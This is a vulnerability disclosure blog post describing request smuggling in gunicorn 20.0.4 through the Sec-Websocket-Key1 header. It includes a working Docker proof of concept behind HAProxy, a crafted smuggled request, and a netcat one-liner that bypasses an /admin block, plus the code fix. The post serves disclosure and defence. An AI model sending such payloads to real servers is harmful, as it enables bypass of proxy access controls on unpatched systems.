grenfeldt.dev

Gunicorn 20.0.4 Request Smuggling

2021-04-01 - Mattias Grenfeldt

Summary

In version 20.0.4 of gunicorn there is a request smuggling vulnerability which works regardless of which proxy is used in front of gunicorn. It is caused by special parsing of the Sec-Websocket-Key1 header.

As of publishing this, there is a new version of gunicorn, version 20.1.0, published to PyPI. So go and update!

The bug

In the file /gunicorn/http/message.py there is a function called set_body_reader which based on the headers of an incoming request determines the size of the request body and creates a reader for it. If an incoming request contains the Sec-Websocket-Key1 header then the request is assumed to have a content length of 8 even if the Content-Length header was also specified in the request. This enables request smuggling if gunicorn is placed behind a proxy and communicates using persistent connections with it (Default in HTTP 1.1).

Keep-Alive diagram

Imagine that the following request is sent to the proxy in the image above:

GET / HTTP/1.1
Host: example.com
Content-Length: 48
Sec-Websocket-Key1: x

xxxxxxxxGET /other HTTP/1.1
Host: example.com

The proxy will see the Content-Length header and will forward the request containing both the green data and the red data in the body. But when the request reaches gunicorn it will see the Sec-Websocket-Key1 header and only read the green data in the body. Since the proxy and gunicorn communicate using HTTP-keep-alive gunicorn will continue reading the red data over the same TCP connection as the next request. And so the red data has been smuggled as a request.

How old is this bug?

According to git blame this commit, from 2012, is the latest commit that modified this logic. Although I haven’t verified that it was this commit that introduced the bug, so it might have existed for longer.

Proof of concept

In this PoC we will use Haproxy 2.3.5 as the proxy and of course gunicorn 20.0.4 as the server. The PoC will use Docker and Docker Compose. Here are some files that we will need:

# file: haproxy.cfg
# https://cbonte.github.io/haproxy-dconv/2.3/configuration.html#2.5
defaults
    mode http
    timeout connect 5000ms
    timeout client 50000ms
    timeout server 50000ms

frontend http-in
    bind *:80
    http-request set-path /forbidden if { path_beg /admin }
    default_backend servers

backend servers
    server server1 gunicorn:5000 maxconn 32
# file: haproxy.dockerfile
FROM haproxy:2.3.5
COPY haproxy.cfg /usr/local/etc/haproxy/haproxy.cfg
# file: app.py
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
    return "INDEX\n"

@app.route("/admin")
def admin():
    return "ADMIN\n"

@app.route("/forbidden")
def forbidden():
    return "FORBIDDEN\n"

if __name__ == "__main__":
    app.run()
# file: gunicorn.dockerfile
FROM python:3
WORKDIR /app
RUN pip install gunicorn==20.0.4 Flask==1.1.2 eventlet==0.30.2
COPY app.py ./
CMD ["gunicorn", "app:app", "-b", "0.0.0.0:5000", "-k", "eventlet"]
# file: docker-compose.yml
version: "3"
services: 
  gunicorn:
    build:
      context: .
      dockerfile: gunicorn.dockerfile
    ports:
      - 5000:5000
  proxy:
    build: 
      context: .
      dockerfile: haproxy.dockerfile
    ports:
      - 8080:80

Put all of the above files in a directory and run sudo docker-compose up --build to run the PoC. Worth noting is that we are using eventlet as the worker for gunicorn, this is because the default sync worker doesn't support persistent connections (keep-alive connections). Now we can access gunicorn directly at http://localhost:5000/ and haproxy forwarding to gunicorn at http://localhost:8080/.

This is the default behaviour of gunicorn:

$ curl http://localhost:5000/
INDEX
$ curl http://localhost:5000/forbidden
FORBIDDEN
$ curl http://localhost:5000/admin
ADMIN

And here is the default behaviour of haproxy proxying to gunicorn:

$ curl http://localhost:8080/
INDEX
$ curl http://localhost:8080/forbidden
FORBIDDEN
$ curl http://localhost:8080/admin
FORBIDDEN

The reason we don't se ADMIN when visiting /admin is because we have added http-request set-path /forbidden if { path_beg /admin } in the haproxy config. Now let's use the smuggling vulnerability to bypass that! Imagine that we send the following request to haproxy:

GET / HTTP/1.1
Host: localhost
Content-Length: 68
Sec-Websocket-Key1: x

xxxxxxxxGET /admin HTTP/1.1
Host: localhost
Content-Length: 35

GET / HTTP/1.1
Host: localhost

Haproxy will see the following two requests:

GET / HTTP/1.1
Host: localhost
Content-Length: 68
Sec-Websocket-Key1: x

xxxxxxxxGET /admin HTTP/1.1
Host: localhost
Content-Length: 35
GET / HTTP/1.1
Host: localhost

While gunicorn will see the following two different requests:

GET / HTTP/1.1
Host: localhost
Content-Length: 68
Sec-Websocket-Key1: x

xxxxxxxx
GET /admin HTTP/1.1
Host: localhost
Content-Length: 35

GET / HTTP/1.1
Host: localhost

We can send the above request using the following command:

echo -en "GET / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 68\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /admin HTTP/1.1\r\nHost: localhost\r\nContent-Length: 35\r\n\r\nGET / HTTP/1.1\r\nHost: localhost\r\n\r\n" | nc localhost 8080

The output is shown below:

HTTP/1.1 200 OK
server: gunicorn/20.0.4
date: Thu, 01 Apr 2021 08:11:50 GMT
content-type: text/html; charset=utf-8
content-length: 6

INDEX
HTTP/1.1 200 OK
server: gunicorn/20.0.4
date: Thu, 01 Apr 2021 08:11:50 GMT
content-type: text/html; charset=utf-8
content-length: 6

ADMIN

We managed to smuggle a request past haproxy and got a response back from the /admin endpoint!

Impact

The impact of request smuggling depends on the web service that is implemented. Please see the following links for examples of how websites have been exploited using request smuggling:

The fix

Remove lines 142-143 in message.py which contain:

elif name == "SEC-WEBSOCKET-KEY1":
    content_length = 8

Timeline

This was the first time that I found a vulnerability in an open source project. That is why I was so slow with giving a 90 day notice.